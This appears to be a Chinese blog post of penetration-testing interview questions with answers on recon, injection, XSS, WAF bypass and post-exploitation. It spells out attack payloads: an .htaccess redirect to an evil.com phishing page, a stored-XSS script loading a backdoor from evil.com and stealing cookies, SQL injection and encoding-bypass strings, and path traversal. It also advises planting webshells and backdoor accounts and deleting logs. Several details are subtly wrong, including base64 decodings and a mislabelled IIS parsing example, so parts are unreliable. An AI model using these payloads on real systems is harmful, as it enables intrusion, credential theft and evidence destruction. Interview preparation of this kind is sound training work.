2025年渗透测试面试题总结-60(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2. 网站渗透测试流程
3. CMS识别意义
4. 扫目录在安全CMS中的意义
5. 常见服务器容器
6. 容器解析漏洞案例
7. 常见漏洞原理与渗透手法
8. 操作系统识别技巧
9. MySQL仅开放80端口的可能原因
10. 3389无法连接的排查
11. 突破字符转义的注入方法
12. .htaccess文件利用场景
13. WAF绕过方法
14. 避免带空格目录的原因
15. 审查上传点元素的意义
16. "用户不存在"漏洞利用
17. .do文件+路径参数利用思路
18. 目录结构已知的渗透思路
19. XSS长久控制方法
20. 读取管理员星号密码
21. 上传图片正常但脚本403的原因
22. 通过审查元素识别防护软件
23. 变形注入:demo.do?DATA=AjAxNg==
漏洞分析
手工验证步骤
防御建议总结
2、拿到一个待检测的站,你觉得应该先做什么(一个网站的渗透测试思路,流程 3、判断出网站的CMS对渗透有什么意义? 4、一个成熟并且相对安全的CMS,渗透时扫目录的意义? 5、常见的网站服务器容器。 6、目前已知哪些版本的容器有解析漏洞,具体举例。 7、简述SQL注入,XSS,CSRF漏洞的原理和渗透手法等 8、如何手工快速判断目标站是windows还是linux服务器? 9、为何一个mysql数据库的站,只有一个80端口开放? 10、3389无法连接的几种情况 11、如何突破注入时字符被转义? 12、拿到一个webshell发现网站根目录下有.htaccess文件,能做什么? 13、请写出突破Waf的方法 14、提权时选择可读写目录,为何尽量不用带空格的目录? 15、审查上传点的元素有什么意义? 16、目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,怎样利用? 17、目标站发现某txt的下载地址为.do?file=/upwdown/1.txt,有什么思路? 18、目标站,已知根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录,思路 19、在有shell的情况下,如何使用xss实现对目标站的长久控制? 20、后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码? 21、目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因? 22、审查元素得知网站所使用的防护软件,你觉得怎样做到的? 23、以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路? demo.do?DATA=AjAxNg==
2. 网站渗透测试流程
- 信息收集
- 域名/IP信息(Whois、CDN检测)
- 端口扫描(Nmap:
443, 8080, 3306
等高危端口)- 目录扫描(Dirsearch/Gobuster,重点扫描
/admin, /backup, /api
)- CMS识别(Wappalyzer/WhatWeb)
- 漏洞探测
- 自动化扫描(AWVS/Nessus初步筛查)
- 手动验证(重点测试登录框、上传点、参数传递处)
- 渗透利用
- 根据漏洞类型选择利用方式(如SQL注入工具sqlmap、XSS平台)
- 权限维持
- 上传Webshell(冰蝎/哥斯拉)
- 添加后门账户/计划任务
- 痕迹清理
- 删除访问日志(Apache:
access.log
; Nginx:nginx.conf
指定路径)
3. CMS识别意义
- 针对性利用:已知CMS漏洞快速利用(如ThinkPHP RCE、WordPress插件漏洞)
- 减少攻击面:避免盲目扫描,聚焦CMS特有路径(如Drupal的
/user/login
)- 版本关联漏洞:通过版本号查询历史漏洞(CVE-2023-xxxx)
4. 扫目录在安全CMS中的意义
- 敏感文件泄露:
- 配置文件(
/web.config, /config.php.bak
)- 备份文件(
/database.sql.zip
)- 隐藏入口发现:
- 未授权访问后台(
/admin.php, /wp-admin
)- 测试页面(
/test/, /demo/
)- 资产测绘:识别编辑器路径(如UEditor的
/ueditor/
)
5. 常见服务器容器
容器名称 使用场景 特点 Apache 传统Web应用 .htaccess
文件控制Nginx 高并发反向代理 静态资源处理高效 IIS Windows环境 支持ASP.NET Tomcat Java Web应用 默认端口8080 OpenResty 动态脚本扩展Nginx 集成Lua脚本能力
6. 容器解析漏洞案例
容器/版本 漏洞形式 Payload示例 IIS 6.0 目录解析漏洞 /logo.jpg/xxx.php
Nginx 0.8.x 文件名逻辑漏洞 test.jpg%00.php
Apache 1.x-2.x 多后缀解析漏洞 shell.php.jpg
7. 常见漏洞原理与渗透手法
漏洞类型 原理 渗透手法 SQL注入 用户输入拼接到SQL语句 ' OR 1=1--
联合查询注入XSS 恶意脚本注入页面 <script>alert(1)</script>
DOM型XSSCSRF 诱骗用户执行非预期操作 构造恶意表单+社工诱导点击
8. 操作系统识别技巧
- Linux特征:
- 路径大小写敏感(访问
/Test
vs/test
)- HTTP响应头含
Linux
或Apache/2.x
- Windows特征:
- 路径分隔符为
\
(如报错信息)- IIS服务器标识(
Server: Microsoft-IIS/10.0
)
9. MySQL仅开放80端口的可能原因
- 防火墙策略:仅允许HTTP流量(端口80)
- 端口复用:通过HTTP隧道通信(如使用reGeorg代理)
- 云安全组限制:仅暴露Web端口
10. 3389无法连接的排查
- 网络层问题:
- 防火墙拦截(本地或云安全组)
- 端口修改(注册表
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
的Port值)- 系统配置问题:
- 远程桌面服务未启动(
services.msc
中检查TermService)- 用户权限限制(组策略禁用远程连接)
11. 突破字符转义的注入方法
- 编码绕过:
- URL编码:
'
→%27
- 双重URL编码:
%27
→%2527
- 替代字符:
- 使用
||
替代OR
(MySQL)- 内联注释:
/*!SELECT*/
- 字符串截断:
- 利用
SUBSTRING()
或MID()
函数逐位判断
12. .htaccess文件利用场景
- 重定向攻击:
apache
RewriteEngine On RewriteRule ^login$ http://evil.com/phishing.html [R=302]
- 执行恶意脚本:
apache
AddHandler application/x-httpd-php .jpg # 将jpg解析为PHP
- 禁用安全功能:
apache
SecFilterEngine Off # 关闭ModSecurity
13. WAF绕过方法
- 请求拆分:
- 分块传输编码(Chunked Encoding)
- HTTP参数污染(
?id=1&id=UNION SELECT 1,2,3
)- 混淆技术:
- Unicode编码:
SELECT
→\u0053\u0045\u004C\u0045\u0043\u0054
- 注释填充:
SEL/*xyz*/ECT
- 资源限制绕过:
- 慢速攻击(低速发送Payload)
14. 避免带空格目录的原因
- 路径解析歧义:
- Windows中
C:\Program Files
需引号包裹("C:\Program Files\..."
)- Linux中空格需转义(
/tmp/my\ dir/
)- 脚本兼容性:
- 批处理/Bash脚本易因空格截断命令
15. 审查上传点元素的意义
- 前端校验绕过:
- 删除
accept=".jpg"
属性或修改onchange
事件函数- 隐藏参数分析:
- 发现未公开参数(如
type=admin
)- JS加密逻辑:
- 提取加密密钥或逆向算法(如文件名MD5校验)
16. "用户不存在"漏洞利用
- 用户名枚举:
- 爆破有效用户名(Burp Intruder比对响应长度)
- 密码重置劫持:
- 对有效用户发起重置请求,截取邮件/SMS验证码
17. .do文件+路径参数利用思路
- 路径遍历:
file=../../../../etc/passwd
(测试Linux)- 文件包含:
file=WEB-INF/web.xml
(读取Java配置)- 后缀解析漏洞:
- 尝试
file=/upwdown/1.txt.jsp
(容器解析漏洞)
18. 目录结构已知的渗透思路
- 编辑器漏洞利用:
- 上传图片马 → 解析漏洞获取Shell
- 后台爆破:
- 尝试弱口令(admin/admin123)
- 敏感文件扫描:
- 查找
/abc/admin/backup.sql
19. XSS长久控制方法
- 持久化存储:
- 存储型XSS写入后台公告(
<script src="http://evil.com/backdoor.js">
)- 结合CSRF:
- 定时向攻击服务器发送Cookie(
setInterval
+fetch
)- 键盘记录器:
- 通过XSS注入键盘监听脚本
20. 读取管理员星号密码
- 前端源码分析:
- 检查
input
标签的value
属性(可能硬编码)- DOM修改:
- 浏览器控制台执行:
document.getElementById("pwd").type="text"
- 流量拦截:
- Burp Suite抓取修改密码时的明文请求
21. 上传图片正常但脚本403的原因
- 文件类型校验:
- MIME类型检测(
Content-Type: image/jpeg
)- 文件头检测:
- 服务器检查文件幻数(如
FF D8 FF E0
为JPEG)- WAF规则拦截:
- 过滤
<?php, <script>
等关键词
22. 通过审查元素识别防护软件
- 特征标识:
- HTML注释(如
<!-- Safedog -->
)- JS文件路径(
/waf/scripts.js
)- 响应头特征:
Server: WAF/2.0
或X-Protected-By: ModSecurity
- 拦截页面内容:
- 403页面包含防护品牌(如阿里云盾、Cloudflare)
23. 变形注入:
demo.do?DATA=AjAxNg==
漏洞分析
- 参数特性:
DATA
参数为Base64编码(AjAxNg==
→"2016"
)- 变形注入思路:
- 二次编码绕过:
- 将Payload先Base64编码再传递:
http
DATA=JyBPUiAxPTEgLS0+ # 原始Payload: ' OR 1=1 --
- 时间盲注构造:
- 使用
SLEEP()
函数:IF(1=1,SLEEP(5),0)
→ Base64编码- 容器特性利用:
- 尝试
%00
截断(需容器支持)手工验证步骤
http
原始请求: demo.do?DATA=MjAxNg== # "2016" 测试注入: demo.do?DATA=JyBPUiAxPTEgLS0+ # 期望返回所有数据
防御建议总结
- 输入过滤:对所有参数进行白名单校验
- 错误处理:禁用详细报错(防止信息泄露)
- 最小权限:数据库账户禁止
FILE
/EXECUTE
权限- WAF策略:部署正则规则过滤编码后的攻击特征